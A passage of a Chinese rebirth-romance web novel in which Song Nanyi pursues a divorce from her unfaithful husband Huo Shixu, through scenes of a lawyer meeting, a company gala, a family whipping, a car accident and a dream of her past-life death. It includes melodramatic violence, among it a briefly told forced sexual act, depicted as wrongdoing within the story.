霍时序看向她,眉眼间的怒意,渐渐被幽暗的光代替,“你到底想怎样?”
“签了吧,霍时序,签了,你就自由了。”宋南伊拿出离婚协议书,递到了霍时序的面前,“我也自由了。”
第25章 造小人
“霍时序,你做回人吧,别闹大了,把自己闹成笑话。”裴吟白眼斜着霍时序,“自己不检点就算了,我们家南伊,可不想染上什么乱七八糟的脏病。”
霍时序幽暗的眼眸底下,翻涌着沸腾的情绪。
他没接,只是那么看着宋南伊。
最后,宋南伊把离婚协议书,放到了桌子上,“我知道,你需要好好看看离婚协议的内容,我给你时间,霍时序,我还是那句话,你是婚姻中的过错方,如果你还想利用两家的项目,做一些伤害彼此的事情,我奉陪到底。”
大不了,一直打官司。
前世受了那样的罪,这一辈子,她不想再委屈了。
“裴吟,咱们回去吧。”
裴吟点头,跟在宋南伊的身后,走出了这间公寓。
坐进车里。
宋南伊一直沉默着。
裴吟知道,她心里不好受。
谁家好人离婚,心里会没有一点触动呢,可是霍时序他配吗?
“现在霍时序的眼里,只有那个苏语安,南伊,不值得为他难过。”
宋南伊挤了抹苦涩的笑,“裴吟,我是替自己难过,我为什么偏偏爱过他呢,爱的终点,真的都是反目成仇,现在我信了。”
男女之情,说白了就是肉体的相互吸引。
成功的男人,在同一个女人身边久了,无论这个女人在别人眼里多么漂亮,性感,又或是温婉,他都会腻,都会失去新鲜感。
婚姻,根本束缚不了追求刺激的男人。
她不想在这混水里,过行尸走肉的生活。
宋南伊很平静。
重生以来,她看透了太多霍时序的薄情寡义。
爱他是上辈子的事情,这辈子,她不爱了。
“走吧,裴吟,陪我去喝一杯。”
……
几天后。
霍时序拿着离婚协议书,走进了陆为谦的律师事务所。
他将离婚协议书,重重地拍到男人面前。
开口便是质问,“这是你写的?”
陆为谦没有逃避,“没错。”
四眸深沉对视。
暗涌,甚嚣尘上。
“陆为谦,你也是不管不顾了对吗?你宁愿背叛我们几十年的感情,也要跟我抢南伊,你早干嘛去了?当年,我追求南伊的时候,你大可以跟我公平竞争,她现在是我的老婆,你就这么喜欢**吗?”
陆为谦觉得他转移了重点。
难得,两个人能坐在一起。
他有必要替霍时序纠正一下,“时序,我现在是南伊的代理人,这只是我的工作,你不要把问题全归结到别人的身上,你做过什么,难道都不记得了?”
“我没有做过对不起她的事情。”他抽了根烟,递到唇上,“是她变了,不是我变了。”
“那你跟苏语安到底是什么关系?”陆为谦问。
霍时序不想回答,“这跟苏语安没有关系,她只是一个可怜人。”
“时序,她这个可怜人,快要把你的婚姻搅和散了,你还说跟她没关系?”霍时序如此地维护一个女人,除了爱,他想不到别的解释,“既然你爱上了别人,就放南伊一条生路吧。”
霍时序没点着的烟,蜷在指尖,狠狠地掐断,“律师说话,这么随便吗?你哪只眼睛,看到我爱上她了?倒是你,暗恋不成,现在改明抢了是不是?”
陆为谦轻叹。
他现在跟霍时序,话不投机半句多。
本想着大家敞开心,聊一聊,或许,他还可以帮着挽救一下婚姻。
但……
他摇头,“你非要这么想,我也没办法,作为宋南伊小姐的代理律师,离婚协议上,都是她希望跟你达成的,如果你觉得哪里不合适,也可跟我讲,我会传达给宋南伊小姐。”
“哪里也不合适。”
当着陆为谦的面前,霍时序撕碎了离婚协议书。
不是说他多么的坚定,与宋南伊一定要白头到老。
或许吧,哪一天,他真的会离婚。
但不是现在。
更不会将自己的老婆,拱手与眼前这个男人。
“如果你坚持不协议离婚,宋南伊这边,有可能会提起诉讼,到时,要是打起这官司,媒体难免不会大肆报道,对霍氏是有一定影响的。”
陆为谦好意提醒。
在霍时序听来,这就是赤裸裸的威胁和挑衅。
他看向陆为谦的眸色渐深。
“如果你想让你的律所,在江城消失,大可以为所欲为。”他需要重申一下自己的立场,“我说过,我的家事,不需要你来插手,如果你执意,那就要付出代价。”
陆为谦垂眸笑了笑。<
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br>如果他怕,当初他就不会接这个案子。
他只是看宋南伊太痛苦了,想伸把手帮帮她,“那我们拭目以待吧。”
……
宋南伊手机里,是**发来的照片。
霍时序将苏语安,安置到了一个更为高档的小区。
连续很多天,拍到了,霍时序出入这个小区的证据。
遗憾的是,并没有拍到接吻,拥抱这样亲密的照片。
霍时序这个人挺小心的,跟前世一样,将苏语安藏了又藏。
生怕她受一丁点的伤害和委屈。
爱到骨子里,想必就是这样。
以这速度发展下去,要不了多久,两人就造出小人来了。
那时,霍明达就抱上了孙子,霍正诚抱上了重孙,霍家人应该是开心呢,还是开心呢。
照片看得实在是烦。
宋南伊洗了把脸,准备去新开的商超逛逛。
最近她口重,想吃麻辣火锅。
路上,她给裴吟发信息,“一会儿去你家,吃火锅,我去买菜。”
商超不大,但菜品很新鲜,尤其是火锅区,种类繁多,可挑可选。
宋南伊选了两盒牛肉,一盒毛肚,一盒黄喉,还有鸭肠和粉丝,以及时令蔬菜。
结账的时候,突然想给宋星言买个礼物。
转身继续去挑选。
“语安,你每周都来家里陪我,陪着我这样逛逛,散散心,我真的觉得特别幸福,但我又觉得给你添了很多的麻烦。”
听到语安这两个字。
宋南伊脚步顿住。
说话的人在对面,她透过商品的缝隙,望过去,果然看到了苏语安和一位年近五十岁的中年女人。
“怎么会呢,虽然郑拓他不在了,但我还在啊,我会一直陪着您,一直照顾您的。”
中年女人悲从中来,轻声抽泣着,“如果不是那些人,阿拓怎么可能会出事,我的阿拓,这么年轻就去了,可让我怎么活啊……”
“阿姨,别难过了,恶人一定有恶报的,他的仇,我来报。”
女人抓着着苏语安的小手,一个劲的点头,“语安,阿姨,早就把你当成儿媳妇了,只要你不嫌弃,阿姨家的大门,永远为你敞开着。”
“谢谢阿姨,别难过了,咱们去那边看看吧。”
“好。”
第26章 偷欢
宋南伊和裴吟吃火锅的时候。
聊到了她听到了这些对话。
“握艹,这个苏语安,怎么这么复杂?她不是清纯小白花吗?怎么还有个死去的前男友?你们家霍时序,不是喜欢雏吗?这种被开过的,也不嫌弃了?这是有多爱?”
裴吟的话很糙。
但理是这么个理。
“我觉得,苏语安身上背着一个大秘密,而这个秘密,是她接近霍时序的目的,霍时序不是傻子,但他太爱了,爱,会让人迷失,也会让人无暇顾及。”
前一世,霍时序迷恋宋南伊的时候,她也可以指鹿为马。
他就这样的人。
特别容易沉溺于极致的,轰轰烈烈的爱当中。
“要我说啊,霍时序就该在苏语安身上载个大跟头。”
宋南伊笑笑。
夹了毛肚给裴吟,“赶紧吃,一会儿老了。”
宋南伊和裴吟小酌了几杯。
本来,她是打算在裴吟家住下的。
路姐打来电话,说霍时序回去了。
脸色不好看,一直问,她去哪儿了。
路姐小心翼翼地问宋南伊,是不是回家一趟。
宋南伊不想路姐为难,只好打了辆车,回了她和霍时序的家。
霍时序同她一样。
喝了点酒。
偌大的客厅里,不同酒精的味道,弥漫了整个空间。
宋南伊踢下高跟鞋,赤着脚,走到他面前,“这么着急我回来,是不是离婚协议书,已经签了?”
霍时序抬眸看她。
像是看出了轨,偷欢回来的妻子。
宋南伊察觉出了他眼神的异样。
平静的与他对视着,“我可没有你那样的福气,从相好的热被窝里爬出来,霍时序,有事就说吧,别浪费大家的时间。”
“宋南伊,我可以跟你离婚,但前提是,你得净身出户。”他将修改完的离婚协议书,丢给宋南伊,“并且……包括宋家所有的项目,因为停工或撤出,造成的损失,这些你或是你们宋家,负责赔偿,大概金额我算了一下,三百个亿吧。”
宋南伊愕然。
三百个亿?
亏他算得出来。
把宋家人都卖了,也不值三百个亿。
“凭什么我要净身出户,凭什么我们宋家赔偿你的损失?霍时序,不想离,咱们就打官司,搞这一出?”
“三年的夫妻,别说我刻薄,路给你了,怎么选,自己看着办。”他垂眸看了一眼离婚协议,掀起眼皮,看向女人,“想离,就要付出代价,只要你能承受得了。”
宋南伊清冷地睨向他。
三年夫妻。
前世他让她惨死,这一世,他往死里整她。
这确实不叫刻薄。
这叫泯灭人性。
“打官司吧霍时序。”
她以前不懂宋家与霍氏生意上的合作和来往。
重生回来,她要离婚,这些是规避不了的,她已经很清楚这里面的脉络。
三百亿,霍时序至少乘了十。
“我会向**提出分居,我们……到此为止吧。”
她累了。
前世忙着挽回他的心,怀孕期间,气到几次差点流产。
她没得到什么好下场。
重生回来,她只想离他远远的。
可他却想要赶尽杀绝。
听天由命吧。
如果这一世,老天爷还是想让她死,那也是她的命。
宋南伊上楼。
霍时序坐在楼下抽烟。
灰白的烟雾下,是他深邃又忧郁的轮廓。
他想到了刚结婚那会儿。
他们的愿望是可以在一起,生好多的孩子。
现在呢?
她变心了。
她正在迫不及待地离开他。
投入到别的男人的怀抱。
吸了几口的烟卷,被他狠狠捻灭在烟灰缸里。
他带着情绪,一边上楼,一边解衬衣的扣子。
还没等宋南伊反应过来,他已经推开卧室的门,将她推倒,下一秒他便吻上了她的唇。
这个吻来的匪夷所思。
宋南伊捶他,打他,撕扯他的头发,无果,他还是狠狠的占有了她。
不容分说。
不计后果。
“为什么霍时序,为什么要这么做?我们现在,有必要做这种事情吗?你不是有苏语安了,你这样做,对得起她吗?”
他听得恼火,“你管的还挺多,还是想想那三百亿,能不能拿得出来吧。”
他抽身。
洗澡,然后,离开。
一切就像没有发生过一般。
只有破碎的女人,在提醒着自己,刚刚他那样欺负了她,不带任何感情的。
……
宋氏公司的周年庆
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。
前世,宋南伊没来参加过。
她骨子里还个小女人,喜欢当霍时序跟寄生虫,享受别人称呼她为霍太太,而不是宋小姐。
既然霍时序把她逼上了绝路。
她不能坐以待毙。
要跟父亲好好研究一下对策。
“爸,我想邀请陆为谦,参加我们公司的周年庆,他现在是我的离婚律师,但他不是主打离婚官司的,他是挺有名的金牌律师,受理过各种各样的案子,见多识广,我觉得应该对我们有帮助。”
宋知令同意了。
“你觉得对公司有好处,邀请便是,爸爸对你放心。”
宋南伊点头。
这次宋氏的周年庆,规模搞得很大,邀请了许多江城有头有脸的人物。
借此机会,拓展人脉和合作,也这是次周年庆的最主要的目的。
宋南伊特意挑选了一件,水蓝色的小礼服,腰身和裙摆,镶满了施华洛世奇的水钻,每走一步,都摇曳生姿。
当她挽着陆为谦的手臂,走进周年庆的会场的时候。
立马,吸引了在场所有人的目光。
“听说,霍宋两家在闹离婚,陆为谦这样著名的律师,都被请到了,看来**不离十了。”
“宋家这几年发展得不错,离开了霍家,影响不大。”
“这陆律师,不会是宋家小姐找的下家吧?看来,霍少的帽子,是戴上了。”
“两个人倒也不像不清白,应该只是合作关系,但……谁又说得准呢。”
大家议论纷纷。
说什么的都有。
宋南伊并不在意,她怕给陆为谦惹麻烦,“陆律师,需要我解释一下吗?”
“嘴长在别人身上,有时候急着解释,等于是掩饰,不在意就好了。”陆为谦微微一笑。
前世,宋南伊与他接触不多。
就见过几次面。
她承认,重生后,对霍时序的朋友都存有偏见。
即便是现在,这种偏见,依然存在。
她礼貌的请他往里走,“我爸在那边,咱们过去吧。”
“好。”
宋南伊和陆为谦来到宋知令的面前。
就听到了大家发出的惊呼。
抬眼。
苏语安一身白色的露肩小礼服,亲昵地挽着霍时序的手臂,走进了会场。
全场哗然。
第27章 我们生个孩子
“宋氏这么重要的周年庆,霍时序带一女的公然露面,这不是打岳父的脸吗?”
“豪门最无情,既然婚姻就要解体了,岳父也不是什么岳父了,肯定不给面子的啊。”
“霍太太带个男人,霍总带个女人,这夫妻俩,挺会玩的啊,看来,今晚有好戏看了。”
霍时序没有在意,这些闲言碎语。
径直走向了宋知令。
“爸,今天公司周年庆,怎么没有邀请我啊?”霍时序讥诮的目光,落到了陆为谦的面上顿了那么几秒后,移到宋南伊的身上,“南伊,这就是你的不对了。”
宋南伊不知道霍时序,阴阳怪气地想干什么。
前世,宋氏的每场活动,他都没有到过场。
这不是来庆贺,是找茬来了。
霍时序看了一眼江特助,他立马送上了礼品,“宋总,这是霍总准备的礼物,希望公司发展越来越好。”
宋知令心里憋着火的。
现场宾客太多,他并没驳霍时序的面子。
接过了礼物。
“难为你,用心了。”宋知令将礼品,交给自己的秘书,“今天的周年庆,并没有要求要带女伴,你带着一个女人过来,爸想听听你的解释。”
他可以在外面养女人。
公开跑到自己面前挑衅。
宋知令很恼火。
“集团资助的对象,带她出来见见世面,爸,你别多想,我和南伊的感情很好。”霍时序特意将眼神,放到了宋南伊的面上。
她抬眸看着他。
真是好不要的一张脸。
豪门夫妻,在外人面前,需要做的,就是维护彼此的脸面。
哪怕明天离婚。
今天也依然是‘恩爱’的夫妻。
霍时序现在已经懒得做这些表面功夫。
现场响起舞曲。
霍时序将手递到了宋南伊的面前,“霍太太,有这个荣幸吗?”
“时序哥,那我呢?”苏语安湿漉漉的大眼睛,眨了两下。
霍时序现在的注意力都在宋南伊的身上,将她推给了陆为谦,“我的好兄弟,陆律师舞技不错,让他教教你。”
苏语安尽管不满。
但还是乖乖地走向了陆为谦。
霍时序没耐性等到宋南伊同意,扣住她的手腕,将她带到了舞池中央。
大手握着她的腰,将她紧紧地束在身前,咬着她的耳朵说,“今天打扮得这么漂亮,不会是为了给陆为谦看的吧?”
“漂亮吗?”宋南伊唇角微勾着,故意恶心他,“比苏语安还漂亮?那可真是罪过。”
“宋南伊,你整天阴阳怪气地干什么?亏我还觉得你懂事了,看来,你不是懂事了,你是在争风吃醋。”
他大手用了把力,几乎将她整个身子揉碎。
她皱起眉头,看他,“你是这样理解的?”
“你最近闹得这么凶,不就因为我这一段时间冷落了你?”他承认,他最近没有好好经营这段关系,“南伊,我知道你还爱着我,我们……”
“停。”她觉得霍时序,有点过于自作多情了,“我不爱你了霍时序,从你心里住进苏语安,我就不再爱你了,我们之间的裂痕,无法修补,离婚是早晚的事情。”
“你认为,陆为谦可以为你打赢这场离婚官司,所以才这么有底气地跟我闹,是不是?”
宋南伊笑了。
霍时序一直认为她在闹。
他并没看到,他给她带来了多少伤害。
她本以为,她不再介入他和苏语安之间,他可以看在三年的婚姻份上,和平结束这段关系。
然而。
他比她想象的还要卑鄙。
“霍时序,本来,我什么都不想要的,是你逼我的,我们宋家已经做好倾家荡产的准备了,但属于我的,我一定要拿到。”
她眼神很坚定。
这让霍时序,有那么一瞬间,觉得在这段婚姻中,伤害到了她。
他是那样地爱过她。
他们是那样的相爱过。
为什么会闹到如此地步。
她真的不爱了。
他如何也挽不回她的心。
“南伊,我可以不要那三百亿,我也可以给你,你理应得到的财产,我更可以现在签下离婚协议跟你离婚,放你自由,但我有一个条件。”
霍时序松了口。
宋南伊想听听,“什么条件?”
“我们生个孩子。”
宋南伊当场炸毛,“你有病吧。”
她不想第二次,死在产床上。
那是她的噩梦,挥之不去。
“南伊,三百亿,一个孩子,你自己选。”
“病得不轻。”她狠狠地抬起脚,往他的脚上踩去,“霍时序,婚内不忠的人是你,你凭什么跟我讲条件?你以为你是谁。”
舞曲结束。
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>宋南伊迫不及待地推开霍时序,离开舞池中央。
陆为谦递了杯果汁给她,“聊什么了?”
宋南伊喝了两口。
怔忡地看向他,“陆律师,我的离婚官司,可能牵扯得太多了,我现在有些迷茫。”
“迷茫很正常,无论打哪种官司,前期需要准备的东西,都很多,尤其是牵扯到双方财务方面的,更是需要花掉很长的时间,如果你够坚定,这些我来帮你做。”
陆为谦给宋南伊一种,他会全力以赴的感觉。
也许,律师这个职业的特性就是如此。
宋南伊有被安慰到,“那就麻烦陆律师你了。”
宋氏的周年庆。
没有达到预期的效果。
宋知令被气得不轻。
一通电话,打给了霍明达。
起因结果,他没讲,只提了他带苏语安出席公司的周年庆,令他颜面扫地。
霍明达自然懂。
低声下气地说了一些抱歉的话。
挂断电话。
霍明达就将霍时序叫回了老宅。
初冬了霍家老宅。
处处透着萧瑟和庄严。
宋南伊并不想陪着霍时序,来老宅。
她实在没有精力,应付霍家人。
霍明达,亲自给她打电话,她又无法拒绝。
“孙少爷,孙少奶奶。”老宅的管家亲自出来迎接,霍时序不明所以地问了句,“陈伯,我爸突然叫我回来,是出什么事情了吗?”
陈伯不好多言,笑笑,“可能是有什么重要的事情吧。”
霍时序耸耸眉,看向宋南伊,“你觉得爸会有什么事情?”
“不知道。”
宋南伊其实能猜到。
霍时序也能。
他就是装傻。
前世,他就喜欢,她在他面前耍小聪明,抖小机灵,他说她这个样子很可爱。
现在不同了。
她的小聪明,在他的眼里只会是出不尽的洋相。
二人一前一后地走进了老宅的客厅。
霍明达和霍正诚都在。
他们危襟正坐,不怒自威。
“爷爷,爸。”
霍正诚抱不上孙子,本来就对霍时序有意见,已经警告过他,不许跟外面的女人纠缠不清。
他倒好,还把女人带到宋知令面前去了。
这让霍家的脸面往哪儿放?
“给我跪下。”老爷子,声如洪钟。
第28章 玩女人,玩到自己老丈人面前
霍时序倒也听话。
也不问缘由。
一声不吭地,跪到了霍正诚的面前。
“明达,把家法拿来。”
霍家的家法是一条腕粗的牛皮甩鞭,打到身上皮开肉绽。
宋南伊嫁给霍时序三年。
都没见过家法长什么样。
重活一世,她今天算是长见识了。
霍明达将家法递给自己的父亲,“爸,别手下留情,这小子太欠揍了。”
霍正诚将家法握在手中。
冲着霍时序发怒,“玩女人,玩到自己老丈人面前,是不是很刺激?”
“啪。”
牛皮鞭子甩起来,重重地落到霍时序的背上,顿时撕开一道血口子。
宋南伊吓住了。
她以为,霍正诚也只是吓唬吓唬霍时序。
没想到来真的。
几鞭子下去,霍时序会不会**啊?
要是打**,她倒省了离婚这道程序,直接继承他的财产。
伤口触目惊心,看起来真的很疼。
不过,爽也是真的。
霍时序挺能忍疼的,愣是咬着牙,没出半声。
“我不管你对外面的那个女人,是什么感情,明天,你就给我断了,好好的跟南伊过日子,再好好的给你岳父道个歉,听到没有?”
老爷子怒吼着。
霍时序没说话。
霍正诚高高扬起鞭子,又往他后背上甩了一下。
同样的力道,同样撕肉的血口子。
宋南伊那爽感别提了,真想拍个照片,发个朋友圈。
词,她都想好了,出轨的爽,只有鞭子知道。
两鞭子下去,霍时序受不住了。
不敢不答应,“知道了。”
宋南伊清楚,他这只是缓兵之计,欺瞒之法。
他是不会跟苏语安分开的。
他只会把她藏得更深,让所有人都找不到她。
下人将霍时序搀扶进了房间。
霍正诚把宋南伊叫到面前,语重心长地说,“爷爷也知道,最近一段时间,你们的感情出了问题,气呢,爷爷帮你出了,往后也不催生了,你再给时序个机会,千年才修的共枕眠,走在一起不容易。”
宋南伊浅浅点头。
霍家人都不希望霍时序在错误的路上,越走越远。
可是没人知道。
她和他的心中间,早已经隔开了太平洋。
傍晚。
霍正诚留下他们过夜。
陈伯端来了一些处理伤口的药物。
“孙少奶奶,您受累,帮孙少爷处理一下。”陈伯也没问宋南伊同不同意,放下东西就关门离开。
霍时序趴在床上。
背上的伤,已经简单地处理过,但看起来,还是挺吓人的。
“高兴了?”他侧着脸说。
宋南伊拿起一瓶酒精,轻轻地拧开,“我高兴什么?”
“我看你看得挺爽的,恨不得爷爷打死我。”他一动,背的伤口扯着疼,嘶了一口,“这样,好省去了离婚,还省了三百亿。”
“为什么不是心疼你呢?”她用棉签沾了酒精,擦向他的伤口。
他疼得肉皮一紧,“你不爱我了,怎么会心疼我。”
“霍时序。”她眉眼黯沉,看向男人的侧脸。
男人嗯?了一声。
“明明我们之间没有爱了,为什么在离婚这件事情上,你死咬着不放?”她想跟他说点,推心置腹的话,“难道,你真的不想给苏语安一个名分,一个家吗?你那么爱她……”
前世为了苏语安。
他用她的命,抵了苏语安的命。
这一世,她不阻止他们来往,甚至愿意为他们的感情推波助澜。
她只想成全。
他反而不干了。
“……霍时序,你告诉我,你到底是怎么想?难道,就是仅仅不想让我好过?”
“可能吧。”他轻描淡写地笑了口,“可能只是单纯的不想看到,你和陆为谦在一起。”
宋南伊拧眉。
她不知道,霍时序从哪里下的结论,她和陆为谦有关系。
仅是为自己出轨,找个借口?
“霍时序,何必呢?自欺欺人,有意思吗?”
“是你在自欺欺人。”
还真是话不投机,半句多。
这时。
霍时序的手机响了。
上面跳动着苏语安的名字。
响了许久,他也没接。
宋南伊:“需要我回避吗?”
霍时序滑动手机接了起来,“喂?”
“时序哥,有一条,一条,很大的,很大的蜈蚣,我好怕呀,你可不可以过来,我……啊……”
手机里传来了苏语安的尖叫声。
霍时序顾不得后背上痛,蹭的一下从床上坐了起来,“别怕,我马上到。”
他紧张极了。
恨不得插上翅膀。
全然忘记了,后背上的伤
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是怎么来的。
扯过外套,刚要离开,似是想到了什么,停下脚步看向宋南伊,“你跟我一起。”
“怕爷爷?”他还挺有心眼,但现在,她不愿意,“霍时序,我没必要为你打掩护,我又得不到什么好处。”
“离婚时,宋氏跟霍氏合作的项目,扣除一项赔偿。”
宋南伊不敢相信,霍时序会如此大方。
旋即,她立马想通。
苏语安是他的心头肉,就算要他的命,他也会乖乖给。
一个项目,几十个亿,又算什么。
“成交。”
离开老宅。
霍时序的车子开得风驰电掣。
焦灼和在乎,满的几乎要溢出来。
宋南伊心里不是滋味。
前世,她和他的第一套婚房里。
仅仅是因为一只蟑螂,吓到了她,他便将房子卖掉,而后住进了新家。
他在乎的她的那些年,家里连一只小飞虫都见不到。
他对她,永远有用不完的温柔和耐心。
白天,她是被捧在云端的女王。
夜晚,他视若珍宝般的,与她沉溺爱河,纠缠不休。
她以为,她会跟他永远爱下去。
然而……
他将爱情演绎得异常完美。
也打破得很彻底。
“前面路口,我放下你,自己打车回去。”霍时序没感情地说。
宋南伊淡淡地睨了他一眼,“嗯。”
下车后。
霍时序一脚油门踩了出去。
宋南伊抬腕看了眼时间,接近午夜。
夜深人静,路灯昏黄。
他是多么不在意她的人身安全,才会将她扔到路边……
低头叹息。
宋南伊拿着手机,操作软件,想叫个车。
“哟,美女,怎么一个人在这儿啊?这儿多危险呢,哥哥带你回家,哥哥家的床,又大又软。”
突然冒出来的男人。
把宋南伊吓了一跳。
她警觉地后退,冷声拒绝,“不用了。”
“别跟哥哥客气,哥哥家里不仅有又大又软的床,还有好吃的,好玩的,跟哥哥走吧。”
说着,男人就去抓宋南伊的手。
她躲避着,警告眼前的男人,“放尊重点,你再过来,我就报警了。”
男人狂笑。
像是笑女人的天真,“想报警啊?到哥哥家,哥哥帮你报,哥哥给你扮警察也可以。”
第29章 殉情
宋南伊转身撒腿就跑。
男人在后面追她,还满嘴的污言秽语。
“别跑啊,跑的哥哥没力气了,晚上没法满足你。”
“我告诉你,你再跑,也跑不出我的地盘,这里都是我兄弟,我看你能跑到哪儿去。”
初冬的风,从耳边吹过。
宋南伊听着害怕。
她几乎用尽了力气奔跑。
哪怕跌倒,哪怕路上空无一人。
“你这个臭娘们,还真能跑。”男人喘着粗气,继续追,“看我追上你,怎么收拾你。你给我站住。”
不知道跑了多久。
她看到马路对面有一个警务室。
信号灯亮起,她无暇顾及,心里想着的都是她到那儿,就安全了。
空气中响起尖锐而刺耳的刹车声。
宋南伊如同撕断线的风筝,被狠狠地抛向空中,随后重重摔落在冰冷的路面上……
救护车的声音,在寂静的黑夜,格外的令人不安。
昏睡的梦中。
宋南伊穿回到了前世,她生产大出血时的那天。
她是不是又要**?
她看到自己躺在产床上,汗珠将头发湿透,痛苦地咬着牙。
她几乎是用尽了全身的力气,可就是生不出来。
宋南伊跑过去告诉前世的自己,生不出来就要生了,保大人不要孩子了。
“南伊,不要生了,跟医生说,你不要这个孩子了,他不值得你为他生孩子。”
“南伊,别死,求你别死。”
“医生,医生,她不要生了,医生,医生你们救救她啊,她不要这个孩子了……”
可无论她怎么喊。
没人看到她,也没人听到她的声音。
此时的宋南伊,像一个幽魂。
产房外。
父母在紧张地踱步。
他们还不知道,待会迎接的不是新生命,是自己女儿的尸体。
站在产房外面。
宋南伊寻找着那个熟悉的身影
霍时序呢?
他去哪儿了?
他不是应该在这儿,等着签放弃抢救的通知书吗?
抬眼看向走廊的尽头……
那远远望向这处的,是一位看起来很紧张的男人……
那不是霍时序,好像,好像是……陆为谦。
前世,她跟他只见过两面。
毫无交集。
他为什么会在这儿?
“病人家属呢?现在有紧急情况,需要马上签字。”护士满手是血的,神色紧张,拿着通知单,音色里全是颤抖。
宋知令不安地走到护士的面前,“我是她的父亲,我来签字。”
“需要配偶签字。”护士说。
这时,宋南伊看到霍时序跑了过来。
她听不到霍时序在跟护士讲什么,只见他很快就签了字。
宋南伊走进了产房。
她看到自己无助地在流泪,身下全是血,她惨白的唇,一张一合着,倒抽着气,在最后的垂死挣扎。
宋南伊好难过,她好想去抱抱自己。
可她抱不到。
“不值得南伊,真的不值得……”
前世的宋南伊**。
死在了一片血泊当中。
当护士出来宣布她的死讯时。
父母双双承受不住,晕倒现场。
“爸,妈……”她呼喊着,想告诉他们,她还没有死。
可是没人听得到。
现场一片混乱。
霍时序是最冷静的那一个,他甚至都没有去产房看她最后一眼。
转身,走向走廊的尽头。
陆为谦挥起拳头将他打倒在地。
“你怎么舍得让她死的?霍时序,**的就是个畜生……”
“那是你的孩子,你还要把他送到福利院,你还是个人吗?”
陆为谦紧紧地攥着男人的领口,眸子喷火。
宋南伊看到了陆为谦眼角的泪水,随着挥起的拳头,打在了霍时序的脸上。
霍时序没有还手。
直到陆为谦打够了。
他才带着满脸的血,踉跄着起身,往外面走去。
宋南伊不远不近地跟着他。
看着他,来到河边。
他手里捧着的是苏语安的照片。
然后……
跳河殉情了。
宋南伊望着被湍急的河水,卷走的男人,呼吸变得急促……
“啊……”
她从梦中醒来。
胸口不断地起伏着……
“南伊,你醒了?你都睡了三天了,吓死我们了,醒了就好,醒了就好。”是母亲南微哽咽的声音。
宋南伊瞳孔骤起。
原来是她的魂魄,又回到前世走了一趟。
“妈。”宋南伊哭了起来。
南微微轻轻地抱着她,温声安抚着,“不哭,不哭,醒了就好,咱们好好的把伤养好,其它的事情,日后再说。”
“妈,对不起,以后我不会再做傻事,让你们跟着难过了。”<
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br>这一世,她要好好地爱家人。
绝不让前世的悲剧重演。
霍时序推门进来。
他手中拿的是宋南伊最喜欢的糯米桂花糕。
见到岳母,他礼貌喊人,“妈。”
南微已经了解了女儿出车祸的前因后果。
对霍时序难免会不满。
“时序,不是我说你,那么晚,你把南伊一个人丢下,这是人干的事情吗?这幸好是捡回了条命,否则后果不堪设想。”
霍时序没反驳。
点头承认道,“是我不对。”
他走到宋南伊的病床前。
看着她额头上的纱布,轻轻地问,“头没什么大事吧?感觉怎么样?还疼不疼了?”
宋南伊抬眸看他。
前世,他竟然为了苏语安殉情了。
爱的真的是轰轰烈烈。
她看着他,突然觉得有点恶心,“霍时序,蜈蚣抓到了吗?”
“我给你买了你爱吃的桂花糕。”他没回答她,将包装精美的糕点,摆到宋南伊的面前,“生病了,就多吃点甜的,心情容易好。”
“可真难为你,还跑到北城去买这个。”宋南伊讥讽着勾起唇角,“你应该挺遗憾的吧?”
“遗憾什么?”他抬眸看她。
宋南伊苦笑,“遗憾,我没被车撞死。”
“胡说八道。”
宋南伊看着他肃起的脸,特别想问一下前世发生的事情。
“霍时序,如果苏语安**的话,你会跟她一起走吗?”
霍时序拧起眉头,“走?去哪儿?”
“**啊,殉情。”她直白地说。
霍时序脸色难看起来,剥了一块桂花糕递给宋南伊,“你**,我可能会殉情吧,别人,够呛。”
“为一个不爱的人殉情,那可挺搞笑的。”
宋南伊接过桂花糕,小口咬下。
挺甜的。
他不怎么说话,就看着宋南伊一小口一小口地吃。
突然,她抬眸问他,“昨天晚上,你们过得还挺愉快的吧?”
“哪方面?”他盯着她的眼睛。
她毫不避讳,“床上。”
“我没跟她上过床。”这是霍时序第一次正面回答这种问题。
但可信度,几乎为零。
至少,宋南伊是不信的。
她问这个也不是多在意,就想看看霍时序到底是有多爱苏语安。
“哦,原来还没舍得碰啊?”那就是真爱了。
第30章 喜欢偷吃
霍时序与宋南伊聊不下去。
呆了没一会儿,就离开了医院。
宋南伊的腿受了伤,脑袋也昏昏沉沉的,打了针,她便睡了。
几天后。
霍家人听说她受伤。
让孙爱芸亲自带了人,来医院探望。
“怎么伤得这么重啊,你这孩子,出门要小心,尤其是过马路,再急的事儿,也要注意安全不是。”孙爱芸亲自炖了滋补的汤,“我熬了三个小时,一会儿让钱妈喂你喝了。”
“不用麻烦了。”
孙爱芸看着宋南伊,憔悴的小脸,不由多说几句,“南伊啊,不管你跟时序闹了多大的矛盾,以后可不能寻短了。”
这种事情要是传出去,霍家的颜面何在啊。
别人会认为,是她这个婆婆逼的。
“家里有你爷爷做主,时序会慢慢改好的,你也就别钻牛角尖了,日后,就好好过日子,时序不听话,你就给我们打电话,我们来收拾他。”
“你毕竟是霍家的少奶奶,你的一举一动,大家都看着呢,还是要谨言慎行。”
孙爱芸觉得她作。
宋南伊没有解释,觉得没有必要。
孙爱芸看她不说话,便又说,“等你出了院,就和时序回老宅住段时间,老爷子也跟时序爸讲过了,要处理这个苏语安,你放心,霍家是不会让你受委屈的。”
宋南伊浅勾了下唇。
垂着眼皮,依旧没说话。
孙爱芸打心眼,看不上这个冷冷淡淡的媳妇。
以前儿子爱,她也不好说什么。
现在夫妻感情不如以前,她又忍不住要多说,“这男人啊都一样,哪里有发骚的就往哪里去,想要留住男人,稳固自己的位置,就得先有个孩子,南伊,妈也不是催你,你年轻,怀个孩子应该不难,妈也是为你好。”
道理,宋南伊明白。
但,霍时序不配。
孙爱芸离开时,给宋南伊留下了钱妈,照顾她。
便匆匆离开了。
江城的初冬。
寒风刺骨。
比往年更冷一些。
住院的日子里,宋南伊从手机看到最多的,就是霍时序和苏语安的绯闻。
什么搬家重铸爱巢,什么私定终生。
清楚的,模糊的,照片一张接着一张。
不止这些。
还有苏语安在朋友圈里,晒的各种二人在一起时暧昧的照片。
无论是狗仔的照片,还是苏语安的朋友圈。
都没有霍时序的正脸。
通常这样的照片,才引人遐想。
她主动出击了。
可惜了,她费得这番心思了。
宋南伊无感。
将手机扔到一旁。
裴吟给她剥了个蜜桔,“霍时序是真贱,给他机会,他不中用,明明可以把苏语安扶到正室的位置上,让她万人之上,偏偏要跟你扯这些几把蛋,就是不离,贱到家了。”
“他说了,怕我离了后,嫁给陆为谦。”宋南伊笑。
